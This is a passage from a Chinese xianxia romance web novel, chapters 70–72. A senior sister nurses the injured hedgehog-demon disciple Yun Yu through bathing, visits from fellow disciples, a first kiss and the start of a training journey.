裴依宁:“前面自己洗,师姐帮你擦洗后面,可好?” 不用面对面,云榆自是乐意的,她毫不迟疑地点头:“辛苦师姐。” 裴依宁低喃:“的确辛苦。” 她凝神静气移到另一端,指尖虚虚含上云榆的后肩。 被水润湿,被花香包裹,触觉湿滑,似乎还泛着一层晶莹剔透的水光。 她掌心完全贴合到身前人的后背,摸到几片先她一步拥上云榆的花瓣,蜷在掌心,挤压着一同拥入。 蝴蝶骨美好而引人。 顺着脊椎骨下滑,像是描摹珍品般上下游移。 直到身前传过一声:“好痒啊,师姐。” 裴依宁恍然发觉到自己的无趣,她弯唇浅笑,细长的手指拢在云榆的腰窝,长袖已浑然被全部打湿。 她问:“这样呢?” 在前面玩水玩得不亦乐乎的人道:“这样可以。” 说着,云榆双手拢起,猛地向后一泼。 水花在空中划出短暂的弧度,淅淅沥沥地下了一场短雨。 她的发顶被打湿,身后的人亦是无可避免地被浇了个彻底。 衣衫黏腻地贴住,裴依宁别过头,几颗水珠从她的眼睫滚落,被长睫分割成无数颗更小的水珠。 有几颗缠上了女人,怎么都不愿意往下坠。 云榆心知自己顽劣了,转过身,笑容凝固,玩笑的话含在口中。 几根发丝湿漉漉地缩在裴依宁的额头,脸颊,细小的水液半掉不掉地蹭在女人瓷白的脸上,尤其是眼睫的那点点水液,更是增添了几抹别样的意味。 女人长相本就偏清冷感,这番画面视觉感十足,突兀地显示出破碎。 师姐,好好看。 要是师姐的眼中,再蓄上一点水液,会不会更美。 云榆被陡然生出的想法吓到,身体瑟缩,下盘不稳地向后退了些。 圆桶就那么大,她脚跟与桶壁相接,上半身仍旧在后仰。 本能的,她胡乱地往前拽。 裴依宁抓住她那只不断乱动的手,腕骨转动,另只手捞起云榆的手臂,向着身前一带。 本在后退的人直直地往前撞过去。 裴依宁眸光黯下,手臂折过,垫在圆桶边缘,云榆头紧随其后地撞上来。 本以为要和圆桶来个亲密接触,然后头顶个包的云榆抚摸上毫发无伤的额头。 哎,没撞到。 “撞疼了吗?”裴依宁温和的声音拉回云榆神游的思绪。 云榆来不及多想,急忙拉起裴依宁的小臂,袖子往上一拽。 但衣袖早已被打湿,没有那么容易拽上去。 云榆一急,竟是直接站了起来。 “哗啦啦”的流水从她的上身滑下。 腰身以下在水中,被花瓣掩盖,而腰身以上,就这么大喇喇地暴露在空气中。 她浑然不觉,只关心于裴依宁小臂是否因她那一下撞上。 好不容易将衣袖捋上去,云榆看见裴依宁被泡得湿白的肌肤上,一方浅淡的红色浮在上面。 是因她那一下撞的。 早知道就不泼水了。 云榆懊恼地皱巴起五官,揉着那块浅红之地:“弄疼师姐了吗?” 裴依宁低着头,难得脖颈处现出红意,她本想说不疼,可云榆这般焦急的模样很好地取悦了她。 她压着调:“有点疼。” 云榆更加着急了,头一耷拉,水润的唇凑近女人的手臂,轻柔的吹着气。 凉凉的,湿湿的。 是水和气体带来的两种感受。 裴依宁目光定格在云榆的锁骨处,再往下,便是不可窥视之地。 云榆的锁骨很漂亮,走向完美,锁骨窝中存着一滩水液。在主人不断的低头中,那水便是蓄不住地往下流。 云榆:“师姐,这样会好点吗?” 她仔细打量那方肌肤,好在不严重,否则就是她旧伤未好,师姐已添新伤了。 裴依宁捻起两指,戳中云榆的锁骨:“会好点,”她停了下,问,“这样起来,不会冷吗?” 云榆不明所以地低下头,瞳孔不受控制地放大,她猛然间惊叫一声,“腾”地钻入水中。 她就这么被师姐看完了。 云榆嘴角抽动,颇有种无颜再见师姐的错觉。 裴依宁从水中将她提起,顺手抽去云榆的发簪,浓密的发丝铺在水面。 她说:“怎得这般大声,倒像是师姐欺负你了。” 云榆:“……” 师姐没欺负她,她是过于脑补了。 裴依宁抚上她的后脑,哄着她:“没关系的,星星,以我们这样亲密的关系,你在顾虑什么呢?” 以我们这么亲密的关系。 云榆今日听过数次了。 她曾说过第一次。 云榆:“不用顾虑吗?”险住傅 裴依宁笑:“当然,不用。” 云榆沉思两秒,心觉裴依宁说得对,她本体洗漱时都被裴依宁看光了,人形好像也没多大差别。 怎么怪怪的。 云榆攥着两掌的花瓣,思索到底是哪里不对劲。 为什么人形的,她感觉这么不好意思。 云榆偷偷瞄了一眼裴依宁,发现对方正在看她。于是,某只小妖偷偷地打量变成了肆无忌惮地对视过去。 半晌,她接受了裴依宁的说法,可实在也不好意思如方才那般起身,直白的与裴依宁面对面。 洗完后,云榆只觉得全身舒适,果真比使用净身术要好多了。 被裴依宁抱回到床上,云榆心满意足地靠坐在那,眼巴巴地等着某人的投喂。 裴依宁:“星星在这等我会,我去换身衣服。” 她的衣服或多或少被泼上了水。 云榆乖巧地:“好的,师姐。” 等待裴依宁回来的过程中,云榆自空间储物中取出一本身法古籍,默记上面的口诀,不时会比划两下。 裴依宁回来时,看见的就是内伤还没好,就已经开始发奋的小妖。 她抽出那本身法古籍,大致看了眼:“好好养伤,看这些做什么?” 云榆道:“总不能日日躺在这,该找点事做的。” 裴依宁不置可否,将书还了回去:“伤好了再看有关修炼的书籍。平日无聊,可看些修身养性的诗文之类。” 云榆:“哦。” 裴依宁一指方桌上存着的糕点:“还吃吗?” 云榆:“晚些吃。” 裴依宁索性将油纸包好,毕竟是云榆姐姐做的,理应由云榆自己保管。 她系好细绳,放在云榆抬眼就能看见的地方,若是想吃了,可随时方便她取用。 外面天色降下,夕阳挽着地平线,橙黄色调染了半边天。 裴依宁灵识内收到杜寻雁的传音。 这两日,杜寻雁本持着早中晚各一次对云榆身体的问询。 云榆这幅模样,除了脸色尚有苍白外,已然可以见人了。 回音前,裴依宁问过云榆的意见,而后才传音给杜寻雁,告知后者云榆已经醒了,可以见人了。 传音没过一炷香,洞府外齐刷刷的出现几道截然不同的气息。 是杜寻雁等人。 裴依宁拍拍手,洞府石门自动开启。 四人入内。 素来私下里大大咧咧的杜寻雁这次安静极了,蹑手蹑脚地来到云榆所在的区域。 她身旁是纳兰然,身后跟着卞凝和应滟两人。 云榆惊喜:“杜师姐。” 一一招呼完来的四人,云榆迫不及待地要起身,被裴依宁面无表情地按了回去:“别剧烈动。” 云榆默默地“哦”了声。 杜寻雁:“云师妹,如何了,可还有哪里不舒服的?” 云榆一五一十地道:“裴师姐说,内伤还很严重,要好好养着,”她调皮地眨了下眼,“所以,杜师姐,你短时间内不要想着抓我去修炼了。” 杜寻雁假模假样地白了她一眼,关心:“你好好养着,修炼的事不急,等你好了,师姐给你单练。” 应滟凑个脑袋上来:“我这些天所学都记录下来了,等你好了,再给你看。” 卞凝点点头。 云榆在与杜寻雁说话时,眸光有意无意地扫过卞凝和应滟两人,生怕两人知晓她妖族人的身份,与她产生隔阂。 两人与她依旧熟稔,没半点生疏。 云榆悬着的心掉下来一点点。 纳兰然笑道:“无事就好,你在裴师姐这,有裴师姐照料,想来很快便能好。” 裴师姐医术高超,她进来时,裴师姐神情轻松,可见云榆身体调理得很好。 她没忘记此次前来的目的:“裴师姐,您让我找的药材已经找到。” 是有关固形丹的一味药材。 剑法阁来的三人许是有不少话要与云榆说,云榆现在的状态,与人多说说话是好的。 在几人说话的间隙,裴依宁道:“杜师妹,我有些事出去一趟,云师妹麻烦你照料一会。” 杜寻雁自是应下。 裴依宁对着云榆:“我很快回来。” 她带着纳兰然出了洞府。 裴依宁离开后,杜寻雁身后的两人明显轻松了许多。 应滟拉过两张椅子给杜寻雁和卞凝,随后又给自己拉了一把。 云榆指了指方桌上的茶水:“这里有茶,不用客气。” 应滟对着椅把而坐,双臂交叠,下巴垫在上面,眼睛亮晶晶地:“榆木,你竟然是妖族人哎。” 云榆降下的心陡然升起,揪着被角,不动声色地:“嗯,对。” 应滟比划着小刺猬的形状:“你都没跟我们说过哎。好神奇,而且我看了当时护罩破碎后,同门录下的内容。你本体是只小刺猬。” 云榆扯扯唇:“嗯,我是刺猬族的。” 得到肯定的答复,应滟更加激动了:“超可爱的。” 云榆:“啊?” 卞凝无语地捂住额头,无可奈何地推着应滟越发靠近云榆的身体:“她心心念念记挂着你的本体,在我耳边念叨两天你的本体了。” 她松开应滟:“不止是她,同门的好几位师姐妹都提过这件事。等你回剑法阁,可要注意了,我总感觉她们能把你一身刺给顺没了。” 云榆试探:“你们不害怕?” 应滟不可思议:“害怕什么。” 云榆:“没什么。” 杜寻雁给自己沏了杯茶:“合该你害怕才对。” 剑法阁那群人,本还在担心云榆的身体,在得知云榆脱离危险,正调理身体后,今日傍晚听得最多的就是如何让云师妹在她们面前化成本体,近距离看看,再摸摸小刺猬。 云榆的顾虑,裴依宁在与她传音时提过,是以杜寻雁道:“放心,她们没一个害怕你是妖族人的。” 云榆视线在卞凝和应滟身上扫过,片刻,展颜一笑,有心打趣:“那怎么办,同门们总不能强迫我化形吧。” 杜寻雁:“谁知道呢。” 四人说说笑笑,时间过得也快。 压在心底的其中一颗巨石落下,其中有提到关于问玉宫宫主的,云榆不着痕迹地带过。 渐渐的,话题重归云榆身上。 应滟神神秘秘地回头望了眼闭合的石门,捂着唇,降低声音:“对了,榆木,你和裴师姐的关系这么好,什么时候的事?” 单独在裴师姐的洞府内,得裴师姐日夜照顾,这等待遇可不曾听别人有过。 杜寻雁和卞凝亦是打起精神,好奇至极。 云榆摸摸鼻尖。 她和裴依宁的亲密关系,应该是不能说出去的吧。 云榆支支吾吾地说不出来。 应滟一拍手,了然地:“我明白了。” 云榆心有不好的预感:“什么?” 应滟道:“你是裴师姐的亲戚。” 云榆:“……” 杜寻雁,卞凝:“……” 她们到底在期待什么,以应滟的脑回路,她能说出什么。 杜寻雁知晓有时自己不靠谱,但不曾想,有人比她还要不靠谱。 她沉默地拉回应滟,竖起一根指头,隔着几公分的距离:“你,安静。” 应滟:“……是,杜师姐。” 得以安静会,卞凝若有所思,但到底没说出什么。 杜寻雁对于云榆和裴依宁的关系一知半解,再无确定的消息时,自是不可能乱说。 云榆被她们三人这种好似看穿的眼神看得浑身不自在:“就是很普通的师姐妹关系。” 嗯,没见过裴师姐对其她师姐妹这般照顾,照顾到自己洞府内了。 当时比试台上,裴师姐的举动和捧起小刺猬时的神情一并被记录下来了,那种心疼和担忧做不得假。 可云榆这般说了,她们再问显得咄咄逼妖了。 恰在此刻,石门被推开。 裴依宁与纳兰然一前一后进入。 “裴师姐。”杜寻雁起身。 裴依宁微微颔首,她身上带着刚炼制完丹药后的药香。 纳兰然有分寸地拉了两下杜寻雁:“时候不早了,我们就不打扰云师妹修养了,云师妹,我们下次再来看你。” “裴师姐,告辞。” 短短一会,洞府内恢复安静。 裴依宁就着杜寻雁坐的那把椅子坐下,掌心一翻,一瓶瓷瓶出现,她拨开瓶塞,浓郁的药香充盈室内。 云榆鼻头耸动:“固形丹?” 裴依宁盖上瓶塞,放到床头:“嗯,你现在还不能吃,伤好了再吃。” 她问:“和杜师妹她们聊了什么?” 云榆想到什么,别扭的笑笑:“没什么,随意聊了聊。” 裴依宁不过随口一问,见她这样,明显存着事的表情,不经生出几分好奇。 但比之更好奇的是,云榆当时为何会差点摔倒,裴依宁道:“星星,当时在为你清洗时,你想到了什么,反应那般大?” 破碎的,清冷的,缩着发丝的额头,挂着水珠的脸颊和颤动不已的长睫浮现眼前,鬼神使差的,云榆道:“我想把师姐弄哭。” 作者有话说: 星星:我想把师姐弄哭 裴师姐:嗯? 今天准时啦【你现在阅读的是 】 70-80 第71章 第七十一章[VIP] “把我……弄哭?”裴依宁缓缓重复过这几个字, “为何要把我弄哭?” 星星这是有什么奇怪的癖好吗? 云榆吞吞吐吐地“嗯”出一个字,不知所措地绞动被角:“也不是真的弄哭……” 她不知该如何和裴依宁解释,索性捏住两瓣唇,摇摇头。 裴依宁不逼她, 见她困意涌上, 替她掖过被子,放好枕头, 扶着她的腰身, 让人缩回去:“睡吧。” 云榆耷拉着眼皮:“师姐也早点休息。” 裴依宁弯唇要应“好”,可床上人眼睛都已闭上, 头歪去另侧,呼吸平缓下来。 睡眠质量过好了。 裴依宁忍住捏她脸颊的想法, 轻手轻脚地熄灭了洞府内的几盏烛光,只留下远处一盏,投射出朦胧的光晕传到这。 她静静地看了会熟睡的人,倾身俯下,垂下的一缕发丝轻轻戳上床上人的额头。 似乎在迷糊中感知到什么, 云榆无意识地抬手扫过。 裴依宁当即后退, 失笑着没再靠过去。 她起身, 循着那唯一亮着的烛光而去, 摊开一张宣纸, 颀长的身形立于桌边研墨。 不多时, 她坐下身,对着积压着的几件灵丹堂的事务, 一一处理。 月色入户, 处理完最后一点,裴依宁不觉间看过去, 视线停顿数秒。 她收起笔墨纸砚,携带着一袭微末的凉气来到云榆床边,褪去外衫,掀开被角,轻手轻脚地钻入被子中。 “好凉。”梦呓般的声音响起,云榆瑟缩着团成一团。 裴依宁往外侧靠靠,正欲用灵力将身体变得温暖,谁知下一秒,团成一团的人贴了过来,揽在她的腰身,脑袋搭在她的肩膀下。 一条腿极为不老实地翘在她腿上。 裴依宁一动不动,生怕吵醒某只睡姿极不好的妖。 “给你……捂捂,笨蛋……裴依宁。”含含糊糊的声调黏连着张不开的唇吐出。 “裴依宁”三个字更是只剩下气音。 软乎乎的小妖。 章鱼似的抱住她,温凉的身体果然被捂热,裴依宁虚虚握住腰身上的手臂,靠着云榆的发顶,闭眼。 一阵风顺着半开的窗户滚入,云榆眼皮跳动,翻个身,往身边一摸。 热的,但无人。 一个激灵,云榆瞌尽失,她睁眼看向原本应该是有裴依宁的位置,如今空空如也。 裴依宁不知什么时候起来了。 云榆合上眼,昨晚睡得过早,裴依宁有睡觉吗? 她不记得了。 抚着逐渐清醒的大脑而起,云榆靠坐在床上,余光一扫,瞥见摆着的瓷瓶。 里面是固形丹。 “裴师姐。”云榆唤了声。 洞府石门打开,一道人影闪入其中,裴依宁拾着两朵颜色各异的花朵入内。 瞧她醒来,那两朵花被放置到药台上。 裴依宁擦拭过手走过去:“醒了,渴不渴?” 云榆隐约记得点事,捧着裴依宁递来的茶水,半抬着眼:“师姐,昨晚睡得好吗?” 这句话单独问起来怪怪的,云榆说不上哪里奇怪,她补上一句:“我昨晚睡时师姐还没睡,方才醒来,也不曾看见师姐。” 裴依宁温声:“睡得很好。”她逗弄她,“某只妖很贴心地给我留足了位置。” 某只妖。 云榆慢半拍地想到这是在形容自己。 她含咬着杯沿:“哦。” 裴依宁撬开她的唇,将杯子从她口中解救下:“别什么东西都咬。” 云榆:“哦。” 过于乖巧了。 裴依宁陪着她聊了几句,去处理刚带回来的那两朵艳丽的花朵。 云榆追随着她的身形。 那花朵与平常路边见过的无大异常,只是在花蕊中心,明显包着什么,花瓣上是星星点点的,类似液体的东西。 裴依宁一片片揪下花瓣,摆放到一边,随即取出一只精致的,口径偏大,瓶身圆滚的瓷瓶。 她剪下花蕊,银针戳上花蕊中心,黏腻的,拉成丝的液体艰难地滑入瓷瓶中。 云榆一瞬不瞬地看着,约莫着又是什么珍奇的药材,方能得到裴依宁这般亲力亲为的取药。 她在床上扭来扭去,一连躺在快两天,身体都要无力了。 她趁着裴依宁没注意这边,小心翼翼地掀被,一条腿先一步挪下。 “作何?”裴依宁仍旧专注于花蕊中的液体。 云榆怀疑她长了三只眼,没往这看,却能洞察到她的举动。 不是多长了只眼是什么。 云榆忸怩:“不想躺在床上了。” 裴依宁放下瓷瓶,就着盆中干净的水洗过手,捏着一方手帕擦拭瓶口溅到的汁液。 又洗了遍手,她来到云榆身边:“等会我带你去外面晒晒太阳。现在还不行,外面有风。” 云榆心说自己还没有那么脆弱。 一粒丹药就这么吻上了她的唇,伴随着裴依宁一声“启唇”,她茫然地听从指令,嘴一张,圆滚的球钻入她的口中。 云榆感觉灵海热乎了瞬。 裴依宁:“这丹药可以温养你的灵脉,对你恢复有好处。” 每喂下一颗丹药,裴依宁便会讲解一番这丹药的用处,几次下来,云榆倒是习惯了。 此刻,还有心情调侃:“裴师姐每每在灵丹堂,对其她人也是这般周到吗?” 裴依宁:“怎得问这个?” 云榆道:“这般周到,我若是没伤没病,也要找个借口寻裴师姐帮我医治。” 裴依宁素手虚捂她的唇:“不得胡说。” 云榆就这么被捂着开口:“没胡说,只是听着裴师姐的声音,就觉伤恢复了许多。” 她有意缩下脖颈,用鼻尖点了两下裴依宁的掌心:“我说真的。” 越发亲昵了。 裴依宁注意到这点:“无意怎可咒自己受伤?以后这种话不准说了。” 云榆嘟了下唇,唇瓣碰上女人的掌心,在上面留下一瞬即逝的潮湿:“哦。” 细小电流刺过全身,裴依宁不着痕迹地收回掌,视线在上面错开一瞬,五指合拢。 对其她人也这般周到吗? 裴依宁扪心自问,每每需要灵丹堂救治的同门,除非灵丹堂内无人可医,她才会出手。 但医治后的照料等后续之事,向来不需要她操心,更不需要她出手。 裴依宁将小妖照顾回床上躺着:“应是只对你这么周到过,星星。” 云榆了然地捧着杯子:“也对,毕竟你是我的小跟班,对我照顾多是应该的。” 裴依宁轻笑,不置可否。 云榆有时榆木般,有时却又语出惊人,令她赞叹不已。 这何尝不是一种天赋。 处理完那份药材,阳光升起,裴依宁牵着云榆出洞府。 一夜的修养,加之丹药的功效,云榆行走的速度稍快了点。 也是为了锻炼她的肢体,裴依宁没直接抱着云榆出去。 一张灵力构建而成的椅子上,云榆懒洋洋地坐在那,脊背松松垮垮,两只脚踩在椅子的横栏上。 裴依宁在处理午饭的食材。 云榆眼尖的看见裴依宁打了几枚椭圆形的,类似于鸡蛋的蛋类进入碗中。 这是要给她做蛋羹。 云榆眨眨眼,终于不是寡淡无味的药粥了。 她有心要去帮忙,可裴依宁身后似乎同样长了眼睛,她一举一动都落在女人眼中,稍有动作,裴依宁就扭头看过来。 那视线,将她照得无所遁形。 云榆放弃了,安心地坐在那,等着人投喂。 当个什么也不用管的存在,她乐得如此。 今日的午饭丰盛了点。 除了药粥,还多了一份蛋羹。 云榆眼巴巴地盯着那碗蛋羹唇被动地张张合合,接受裴依宁投喂的药粥。 笨蛋裴依宁,非让她先喝几口药粥,才许她吃蛋羹。 应付过几口,裴依宁端着那碗冒着热气的明黄色食物而来。 云榆咽住口水,故作矜持地:“裴师姐先吃。” 裴依宁提眸,半掀起眼皮,当真挖了一勺往唇边送去。 云榆:“……” 她只是客气话,她馋了这么久,第一口不应该给她吗? 云榆控诉裴依宁的做法,脸色挂着盈盈的笑意。 皮笑肉不笑的假笑,裴依宁弯下唇,不再去逗她,碰到唇的勺子调转过,送到云榆唇边。 云榆猝不及防地张口。 勺子内的蛋羹一连串地滑入她的口中。 温热的,味觉在口腔中迸发。 云榆囫囵地在口中翻滚过,喉咙一滚咽了下去。 裴依宁:“慢点,没人和你抢。小心烫到了。” 云榆眼一斜。 和她抢的人就在她面前蹲着呢。 晒了一中午的太阳,云榆全身暖洋洋的,她尝试运转灵气,细小的如针扎过的疼痛源源不断的从灵脉处传来。 并不算难忍。 云榆灵力运转过全身,额头上挂上星点的汗水,她不在意地抹去。 紧接着运转第二圈,第三圈。 虽疼但效果明显。 对于灵力掌握的生疏感一点点褪去,变得得心应手起来。 她踩在坚实的草地上,心虚地望向不远处正在翻阅药典的裴依宁。 对方并未对她的行为表示制止。 总不能是因为没看见。裴依宁眼神那般好。 如此,即是默许。 云榆拾起一根算是直的细木棍,不调用灵力的熟练入宗初学的第一套剑法。 那套剑法如今她已聊熟于心。 身为入宗学的第一套剑法,这套剑法简单易学,身体运动幅度比较小,轻易不会牵扯到内伤。 一套下来,云榆身上热乎乎的,她一抹额头,翻出裴依宁给的手帕,混乱地擦了两下。 她挪动看药典的女人身上,盘腿坐下。 裴依宁曲指一弹,那处将背景坐下的地方被清扫一番:“伤还没好,就这样不老实。” 云榆仰着头:“裴师姐,我打算等伤好后,出宗历练历练。” 她的实战能力和临场反应能力过于薄弱。 当时苍焰宗的弟子在吞服丹药攻击她时,她撒下了那么多符纸,在护甲的保护下,若非问亦云和裴依宁及时赶到,她性命难保。 虽那人吞服丹药后,她与之有两个境界的差距,可那么多保命之物都没能过多抵挡。 它日在外,不会像在比试台上那般,境界控制在一定水准。随时可能会有比她高两三个境界,甚至更多境界的人。 她不求能打败比她高境界的人,总归要能在那些大能手中多撑一会,为自己留存求救的时间。 裴依宁:“也好,届时我同你一起,彼此间还有个照应。” * 一连几日过去,云榆身体调养过来,在灵丹妙药下,内伤愈合。 当日在比试台上受伤的同门,亦是一一恢复,回到各自峰阁中。 云榆悠闲地赖在灵丹堂,如小尾巴地跟在裴依宁身后。 这样晃了一日后,云榆依依不舍地和裴依宁告别。 “小跟班,”云榆站在灵丹堂的峰崖边,挥挥手,“我走了。” 裴依宁学着她的样子挥挥手:“明日见。” 云榆一步步后退,双臂张开,往后一倒,身形湮灭在高崖尽头。 裴依宁心中默数,不过三秒。 灵剑托举着坠下的人而上。 云榆笑嘻嘻地坐在剑上,双腿一抬地站了一起:“明日见。” 她的身形穿梭进融融夕阳中。 许久没回到剑法阁,甫一回来还有生疏。 这个点,剑法阁刚结束一日的修炼,云榆一路御剑至修炼之地,向杜师姐告知自己已经回来。 遥遥看见熟悉的人影,云榆御剑而下,跳落在地:“杜师姐,我回来了。” 她的音量不高不低,只杜寻雁身边几人看见,偏偏过于高调地御剑而回,以至于尚未离去的同门皆是看见了她。 刚落地的云榆只觉得脊背发凉,好似无数双眼睛盯着她,回首一瞧,除却同门师姐妹外,别无异样。 她扭回头与杜寻雁说话,不过两句,那种浑身发毛之感不仅没有消下去,反而越演越烈。 她再一回首,还是无物。 杜寻雁收剑入鞘,见她频频回头,打趣:“回来后魂不守舍的,灵丹堂风水太好,让你适应不了剑法阁了?” 云榆笑道:“哪有?” 本能直觉让她感到危险靠近,强压住逃跑的念头。 杜师姐就在眼前,她不应该有这种念头才对:“杜师姐,你有没有觉得哪里不对劲?” 杜寻雁奇怪:“什么不对劲。” 云榆抱住双臂:“好像有很多双眼睛在看着我们。”她来回抚摸双臂,“不知道是不是我的错觉。” 杜寻雁环顾四周,一本正经地:“不是错觉,的确是。” 杜寻雁一指她身后,云榆跟着转身,只听得杜寻雁说:“你没发现,你的这些同门,今日很多没有离去吗?” 的确都还留在这。 往日修炼一结束就寥寥无几人的地方,今日显得不寻常的热闹了。 而且,仔细对过,她们的视线大多落在她的身上。 没有害怕,只有……抑制不住的激动。 云榆猛地想起那日杜师姐与卞凝应滟过来看她时说得话,一时间毛骨悚然。 她们……该不会是想。 杜寻雁给她一个自求多福的表情:“看来你猜出来了。” 云榆急急拽住杜寻雁的衣袖:“杜……杜师姐,我跟你一块离开。” 杜寻雁叹息:“逃得了一时,逃不了一世。”她拍拍云榆的肩膀,“放宽心。” 放宽什么心,她不应该回来的,她应该赖在裴师姐那里。 她眼一闭,松开杜寻雁,一脸无畏地往回走。 这些都是同门,不会做什么过分的举动的,云榆不断安慰自己。 身为一只妖,她内心深处,更多的是希望被这些同门接受。 在往回走时,她心底远没有表现的这么英勇,更多是惴惴不安。 她扬起笑脸。 “云师妹,你可算是恢复了,来让师姐看看。”一位剑法阁师姐看见她,眼睛一亮,上上下下打量过她,又探查过她的身体,确定完好后,她道,“可算是好了。” 云榆望着这位平日比杜寻雁还要严厉几分的师姐:“谢谢师姐关心。” 有师姐打了头阵,陆陆续续又围上几人,不过几息,云榆一圈都是人。 “云师妹,这几日修炼所学,我都记下来了,你有不懂的随时来找我。” “我这有几颗凝神丹药,师妹留着用。” “云榆,有什么需要,可以跟我说。” “……” 各种关心话语。 云榆甚少被这么多人关心,难掩感动。 最后,这些关心被一句怯怯的话打断:“云师妹,能让我看看你的本体吗?” 一时间,场面安静数秒。 随后, “我也想看。” “我也是。” “哎,云师妹身体刚恢复,别围靠得那么近。”杜寻雁的声音自人群外传来。 “对对对,往后退退,”同门们皆是反应过来,纷纷后退,给云榆留足位置。 被众人关心的云榆悄悄红了眼眶。同门的关切是真的,她能感受到。 她垂下头,轻轻点一下:“可以的。” 一众同门闻言,齐刷刷背过身:“云师妹,你化好形我们再转回来。” 云榆慢慢蹲下身,身形不断缩小。 一只小刺猬趴在地上。 为了显得威武一点,小刺猬偷偷踩上一块石头,使得自己看上去高个数公分。 其实还是矮矮的。 “好了。”小刺猬的声音从下面传来。 话音刚落,一众人齐刷刷转了回来,见到小刺猬,一个个惊喜至极。 又怕围拢得过于近,惊吓到小刺猬。 于是乎,不知道谁从开始的,竟是一个个排起了队。 “好可爱,云师妹,我可以摸摸你的脸颊吗?”面前的同门颇为不好意思地问。 小刺猬点头。 “云师妹,我可以和你拉拉手吗?” 小刺猬伸手。 “云师妹,你可以趴在我手上吗?” 小刺猬趴下 “……” 小刺猬一一回应。 “云师妹本体怎么如此小,要好好补补才行。”不知是谁说了这句话。 小刺猬身体一僵。 “云师妹好萌,好想偷偷带走。”又有人说了句。 小刺猬:“……” 从一开始的感动到后面被摸的生无可恋,不过短短一刻钟而已。 小刺猬被交接给了下一位同门,那人欣喜地摸出一颗糖,剥开,喂到小刺猬嘴里。 小刺猬含着糖,觉得生活有了点甜味。 “今日仅此一次,它日,非云师妹自愿,任何人不允许要求云师妹化为本体。”杜寻雁将小刺猬提到手臂上,面色严肃地对一众同门道。 “是。” “好的。” 一时应和声不断。 又围着小刺猬看了会,一众同门师姐们才是离去。 杜寻雁绷着的脸松下,提起小刺猬,没忍住笑:“云师妹,你这个样子,真的好可爱啊。” 小刺猬:“杜师姐……” 杜寻雁敛住笑,抬高手臂:“的确与见过的刺猬相比,云师妹要小上些。” 小刺猬:“我已经很努力的长大了。” 杜寻雁想揉她的小肚子,但想到某位师姐,放下了这个念头,转手捏上了小刺猬的脸颊,一样是软的:“没事,会补上来的,到时让裴……” “杜师妹。”平缓的插入她的话,裴依宁一错不错地看着伏在她手臂上缩成一团的小刺猬,“杜师妹看见我的小刺猬了吗?” 杜寻雁:“……看见了。” 早不来,晚不来,在她逗云师妹的时候来了。 这与当着裴师姐的面,抢了对方的东西有什么区别。 杜寻雁谄媚地将小刺猬提到裴依宁手上:“在这,裴师姐,你的小刺猬在这。”她尴尬地笑了两声,“裴师姐,那个,我还有点事,我就先走了,不打扰你和你的小刺猬了。” 裴依宁笑不达眼底:“杜师妹慢走。” 杜寻雁一溜烟地离开了。 都是什么事。 小刺猬在裴依宁手心蜷缩了几下,舒展开,露出脑袋:“裴师姐,你怎么来了?” 裴依宁捏过云榆脊背上的几根刺:“你固形丹忘拿了,我给你送来。” 只是没想到,循着气息过来,远远就见剑法阁的人围着什么东西,等人群散开,她方才看清趴在杜寻雁手臂上的小刺猬。 刚从她那离开没多久,就跑到这被众人摸。 裴依宁额头突突跳,隐匿不出的占欲有包裹住她,她身形晃动,带着小刺猬回到云榆的洞府。 “星星,怎么能让别人摸呢?”裴依宁轻声问,“我才是你的小跟班,不是吗?” 小刺猬:“只让她们摸了脸颊,拉了小爪爪,捏了脊背的刺。” 裴依宁道:“那也不可以。” 小刺猬抱住她的手指,放到自己的肚子上。 裴依宁揉揉她的肚子:“星星,我也要。” 小刺猬:“什么?” 裴依宁哄着她:“先变成人形,可好?” 小刺猬当然会满足小跟班,直接化为人形。 云榆:“裴师姐想要什么?” 裴依宁指腹滑过她的唇,暖声道:“星星,要这里。” 云榆不明所以,腰身却被搂住,裴依宁护着她的后背,一点点凑近,轻声说:“星星,我要这里。” 云榆微微启唇。 柔软的唇瓣贴上来,裴依宁含住她的唇,轻柔地吮吸,舌尖舔过她的唇,女人哄着她:“星星,张嘴。” 云榆呼吸不顺,她不知不觉地圈住裴依宁:“裴师姐,我们……” 裴依宁:“星星,这么亲密的事,只能和我,知道吗?” 云榆眼尾漾着绯意,话音被逐个吞下。 作者有话说: 又是准时的一天 第72章 第七十二章[VIP] 云榆靠在墙上, 眉眼迷离,虚虚抵着面前的女人,额头自然垂落在与她差不多身高的女人肩上,又被女人托着下巴抬起。 指背在云榆逐渐滚烫的脸颊上来回抚摸, 望着面前人水润微肿的唇, 裴依宁怜惜地抚上云榆的唇边:“星星,这些, 都只能和师姐一起, 记住了吗?” 云榆意识不清,可也知顺着裴依宁的话, 她乖顺地点点头。 面前的女人在她唇上啄了下,很满意地挑开瓷瓶上的盖子, 手腕翻转,一枚圆润的丹药滚入掌心。 裴依宁捻起固形丹填入云榆口中,在对方咽下后,又揉揉云榆的脸颊:“星星。” 身体脱离墙壁,云榆别过头喘息几口, 偶觉她和裴依宁亲密的频率过高了, 今日更是一连亲密了数次。 会不会太亲密了。 云榆手背搭在唇上, 无端回味起裴依宁贴上来的触感, 软软的, 香香的, 连带着她的唇上似乎还残留有那股清雅的药香味。 轻轻推开挡在面前的人,云榆耳尖的绯红点点降下。 “裴师姐, ”发簪在方才的动作中摇摇欲坠, 云榆索性直接抽下,重新挽过发丝, 再插入,“还有旁的事吗?” 只是因固形丹的话,明日再来送也可,不急于一时。 裴依宁:“先前不是要出宗历练,我观明日就不错,你伤已愈合,是该捡起落下的修行了。出宗历练效果最是好。” 云榆:“这么快吗?我原是打算找些手感再出去的。” 她一连数日没怎么使用灵力,无缓冲期,冒然出宗,手生,许是要给裴师姐拖后腿的。 裴依宁淡笑:“不用,明日便启程。在剑法阁……”她转过身,环视过洞府内一圈,“你不定能有时间找手感,不如直接在外,更方便。” 傍晚不过十数位同门在,等明日,云榆出现在一众师姐妹面前,会被摸成什么样。 云榆又是个不怎会拒绝人的性子,留她在剑法阁,裴依宁属实放心不下。 云榆听从安排:“好的,师姐。” 原以为只是她们二人,可当第二日出了宗门,迎面撞见先一步出宗的风浅念和原以诗两人。 两人似是等待许久,风浅念眉眼间挂着向来温柔的笑容:“依宁,云师妹。” 云榆拱手,被一根长笛压住,风浅念盈盈笑意:“出宗在外,不用这般拘礼,唤我们名字即可。” 相似的话语在上次与原师姐和风浅念出宗时就听过,那时她还特意帮裴依宁瞒着身份,今日想来,那日的自己真真是可笑。 裴依宁莫名被瞪了眼,不明所以地轻歪过头。 云榆这次少了点拘束,只是面对原以诗时,仍会因后者冷漠疏离的神情而不敢过于造次:“风师……浅念姐,你们与我们一同吗?” 